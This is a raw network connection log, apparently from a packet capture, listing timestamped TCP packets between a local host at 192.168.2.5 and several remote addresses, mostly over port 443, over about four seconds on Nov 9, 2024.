Nov 9, 2024 22:09:32.558830023 CET	49746	443	192.168.2.5	216.58.212.174
Nov 9, 2024 22:09:32.572226048 CET	443	49750	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.572675943 CET	49750	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.572691917 CET	443	49750	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.573164940 CET	49750	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.573170900 CET	443	49750	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.588180065 CET	443	49751	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.588546038 CET	49751	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.588558912 CET	443	49751	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.588951111 CET	49751	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.588957071 CET	443	49751	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.627321959 CET	443	49743	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:32.627425909 CET	443	49743	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:32.627482891 CET	49743	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:32.627587080 CET	49743	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:32.627602100 CET	443	49743	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:32.627614021 CET	49743	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:32.627621889 CET	443	49743	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:32.660466909 CET	443	49749	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.660541058 CET	443	49749	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.660661936 CET	49749	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.660891056 CET	49749	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.660902977 CET	443	49749	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.660927057 CET	49749	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.660933971 CET	443	49749	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.663383007 CET	49754	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.663418055 CET	443	49754	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.663477898 CET	49754	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.663678885 CET	49754	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.663696051 CET	443	49754	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.663741112 CET	49755	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:32.663784027 CET	443	49755	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:32.663858891 CET	49755	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:32.664146900 CET	49755	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:32.664160967 CET	443	49755	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:32.704968929 CET	443	49750	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.705123901 CET	443	49750	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.705193043 CET	49750	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.705301046 CET	49750	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.705313921 CET	443	49750	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.705323935 CET	49750	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.705328941 CET	443	49750	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.707868099 CET	49756	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.707896948 CET	443	49756	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.707962990 CET	49756	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.708091974 CET	49756	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.708107948 CET	443	49756	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.722748041 CET	443	49751	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.722906113 CET	443	49751	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.722974062 CET	49751	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.723021030 CET	49751	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.723026037 CET	443	49751	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.723088980 CET	49751	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.723094940 CET	443	49751	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.725442886 CET	49757	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.725461006 CET	443	49757	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.725709915 CET	49757	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.725781918 CET	49757	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.725802898 CET	443	49757	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.109844923 CET	443	49752	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.110280037 CET	49752	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.110296011 CET	443	49752	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.110766888 CET	49752	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.110771894 CET	443	49752	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.170728922 CET	443	49753	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.171148062 CET	49753	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.171169996 CET	443	49753	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.171585083 CET	49753	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.171590090 CET	443	49753	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.210143089 CET	80	49737	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:33.210205078 CET	49737	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:33.240679979 CET	443	49752	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.240978003 CET	443	49752	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.241039038 CET	49752	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.241658926 CET	49752	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.241677999 CET	443	49752	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.241688967 CET	49752	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.241695881 CET	443	49752	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.244520903 CET	49759	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.244550943 CET	443	49759	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.244796991 CET	49759	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.245040894 CET	49759	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.245052099 CET	443	49759	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.317466974 CET	443	49753	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.317658901 CET	443	49753	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.317728996 CET	49753	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.318051100 CET	49753	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.318051100 CET	49753	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.318069935 CET	443	49753	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.318084002 CET	443	49753	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.321990967 CET	49760	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.322021961 CET	443	49760	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.322088957 CET	49760	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.322473049 CET	49760	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.322487116 CET	443	49760	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.439521074 CET	443	49756	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.440145016 CET	49756	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.440171003 CET	443	49756	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.440620899 CET	49756	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.440628052 CET	443	49756	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.456120014 CET	443	49757	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.462938070 CET	49757	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.462954998 CET	443	49757	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.463641882 CET	49757	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.463646889 CET	443	49757	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.526556969 CET	443	49755	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:33.526653051 CET	49755	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:33.532670975 CET	49755	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:33.532682896 CET	443	49755	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:33.532987118 CET	443	49755	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:33.535605907 CET	49755	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:33.569678068 CET	443	49756	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.579711914 CET	443	49756	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.579834938 CET	49756	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.583331108 CET	443	49755	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:33.589332104 CET	443	49757	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.589581013 CET	49756	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.589601040 CET	443	49756	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.589611053 CET	49756	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.589617968 CET	443	49756	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.589663982 CET	443	49757	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.589770079 CET	49757	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.596573114 CET	49757	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.596573114 CET	49757	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.596592903 CET	443	49757	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.596602917 CET	443	49757	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.603307962 CET	49761	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.603357077 CET	443	49761	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.604346991 CET	49762	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.604383945 CET	49761	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.604384899 CET	443	49762	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.604429960 CET	49762	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.604569912 CET	49761	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.604583979 CET	443	49761	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.604669094 CET	49762	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.604682922 CET	443	49762	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.746290922 CET	49703	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:33.746449947 CET	49703	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:33.751132011 CET	443	49703	23.1.237.91	192.168.2.5
Nov 9, 2024 22:09:33.751200914 CET	443	49703	23.1.237.91	192.168.2.5
Nov 9, 2024 22:09:33.762342930 CET	49763	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:33.762372017 CET	443	49763	23.1.237.91	192.168.2.5
Nov 9, 2024 22:09:33.762439966 CET	49763	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:33.764283895 CET	49763	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:33.764298916 CET	443	49763	23.1.237.91	192.168.2.5
Nov 9, 2024 22:09:33.792131901 CET	443	49755	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:33.792217016 CET	443	49755	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:33.792268991 CET	49755	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:33.794991016 CET	49755	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:33.794991016 CET	49755	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:33.795010090 CET	443	49755	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:33.795059919 CET	443	49755	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:33.972384930 CET	443	49759	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.977587938 CET	49759	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.977597952 CET	443	49759	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:33.978327036 CET	49759	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:33.978332043 CET	443	49759	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.049654961 CET	443	49760	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.065143108 CET	49760	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.065160990 CET	443	49760	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.065871000 CET	49760	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.065876961 CET	443	49760	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.103118896 CET	443	49759	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.103240013 CET	443	49759	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.103415012 CET	49759	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.124115944 CET	49759	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.124140024 CET	443	49759	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.124181986 CET	49759	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.124205112 CET	443	49759	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.130325079 CET	49764	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.130362988 CET	443	49764	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.130424976 CET	49764	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.131000996 CET	49764	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.131016016 CET	443	49764	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.189815044 CET	443	49760	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.189891100 CET	443	49760	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.189974070 CET	49760	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.233019114 CET	49760	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.233031988 CET	443	49760	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.233042955 CET	49760	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.233050108 CET	443	49760	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.324830055 CET	49765	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.324872971 CET	443	49765	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.324966908 CET	49765	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.326185942 CET	443	49762	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.334578991 CET	49765	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.334595919 CET	443	49765	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.337367058 CET	49762	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.337378979 CET	443	49762	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.338227987 CET	49762	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.338233948 CET	443	49762	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.340454102 CET	443	49761	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.345472097 CET	49761	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.345490932 CET	443	49761	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.345869064 CET	49761	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.345873117 CET	443	49761	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.463360071 CET	443	49762	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.463426113 CET	443	49762	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.463483095 CET	49762	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.464008093 CET	49762	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.464020967 CET	443	49762	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.464031935 CET	49762	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.464039087 CET	443	49762	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.467413902 CET	443	49763	23.1.237.91	192.168.2.5
Nov 9, 2024 22:09:34.467489004 CET	49763	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:34.467704058 CET	49766	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.467740059 CET	443	49766	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.467803955 CET	49766	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.468111038 CET	49766	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.468125105 CET	443	49766	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.469449043 CET	443	49754	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.470010996 CET	49754	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.470108032 CET	443	49754	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.470443010 CET	49754	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.470467091 CET	443	49754	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.494599104 CET	443	49761	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.494658947 CET	443	49761	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.494712114 CET	49761	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.495266914 CET	49761	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.495282888 CET	443	49761	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.495294094 CET	49761	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.495299101 CET	443	49761	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.508469105 CET	49767	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.508487940 CET	443	49767	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.508603096 CET	49767	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.509340048 CET	49767	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.509355068 CET	443	49767	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.616261959 CET	443	49754	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.616328955 CET	443	49754	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.616432905 CET	49754	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.617952108 CET	49754	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.618037939 CET	443	49754	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.618098974 CET	49754	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.618122101 CET	443	49754	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.623111963 CET	49768	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.623219967 CET	443	49768	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.623306990 CET	49768	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.623655081 CET	49768	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.623697996 CET	443	49768	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.867778063 CET	443	49764	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.891911983 CET	49764	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.891927004 CET	443	49764	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:34.892375946 CET	49764	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:34.892381907 CET	443	49764	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.023092031 CET	443	49764	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.023180962 CET	443	49764	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.023232937 CET	49764	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.078519106 CET	443	49765	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.128467083 CET	49765	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.130829096 CET	49764	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.130858898 CET	443	49764	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.130872011 CET	49764	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.130881071 CET	443	49764	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.137691975 CET	49765	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.137700081 CET	443	49765	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.138243914 CET	49765	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.138250113 CET	443	49765	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.139914036 CET	49769	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.139950037 CET	443	49769	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.140007019 CET	49769	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.141486883 CET	49769	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.141500950 CET	443	49769	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.253776073 CET	443	49767	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.265340090 CET	443	49765	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.265434027 CET	443	49765	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.265522003 CET	49765	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.300343037 CET	49767	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.391556025 CET	49767	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.391573906 CET	443	49767	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.392410040 CET	49767	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.392415047 CET	443	49767	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.393925905 CET	443	49768	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.394531012 CET	49768	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.394599915 CET	443	49768	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.395761967 CET	49768	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.395801067 CET	443	49768	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.521271944 CET	443	49767	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.521410942 CET	443	49767	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.522079945 CET	49767	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.532484055 CET	443	49768	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.532566071 CET	443	49768	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.532629013 CET	49768	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.711833000 CET	49765	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.711855888 CET	443	49765	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.711867094 CET	49765	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.711873055 CET	443	49765	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.820146084 CET	49767	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.820156097 CET	443	49767	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.820168018 CET	49767	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.820173025 CET	443	49767	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.821641922 CET	49768	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.821643114 CET	49768	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.821722031 CET	443	49768	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.821764946 CET	443	49768	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.869689941 CET	443	49769	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.903337002 CET	49769	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.903363943 CET	443	49769	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:35.903898954 CET	49769	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:35.903903961 CET	443	49769	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.015799046 CET	49776	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.015867949 CET	443	49776	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.016064882 CET	49776	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.016609907 CET	49777	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.016719103 CET	443	49777	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.017591953 CET	49778	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.017601967 CET	443	49778	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.017642021 CET	49777	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.017671108 CET	49778	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.035746098 CET	443	49769	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.035914898 CET	443	49769	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.036829948 CET	49769	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.046274900 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:36.046295881 CET	443	49779	94.245.104.56	192.168.2.5
Nov 9, 2024 22:09:36.046791077 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:36.046952009 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:36.046969891 CET	443	49779	94.245.104.56	192.168.2.5
Nov 9, 2024 22:09:36.048461914 CET	49776	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.048475027 CET	443	49776	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.048507929 CET	49777	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.048563957 CET	443	49777	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.048588037 CET	49769	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.048599958 CET	443	49769	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.048610926 CET	49769	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.048619986 CET	443	49769	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.048723936 CET	49778	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.048734903 CET	443	49778	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.201569080 CET	49780	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.201616049 CET	443	49780	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.201738119 CET	49780	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.230705023 CET	49780	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.230722904 CET	443	49780	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.242769003 CET	443	49766	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.243861914 CET	49766	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.243884087 CET	443	49766	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.244503021 CET	49766	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.244509935 CET	443	49766	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.370090008 CET	443	49766	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.370167017 CET	443	49766	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.370220900 CET	49766	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.374191046 CET	49766	443	192.168.2.5	13.107.246.45
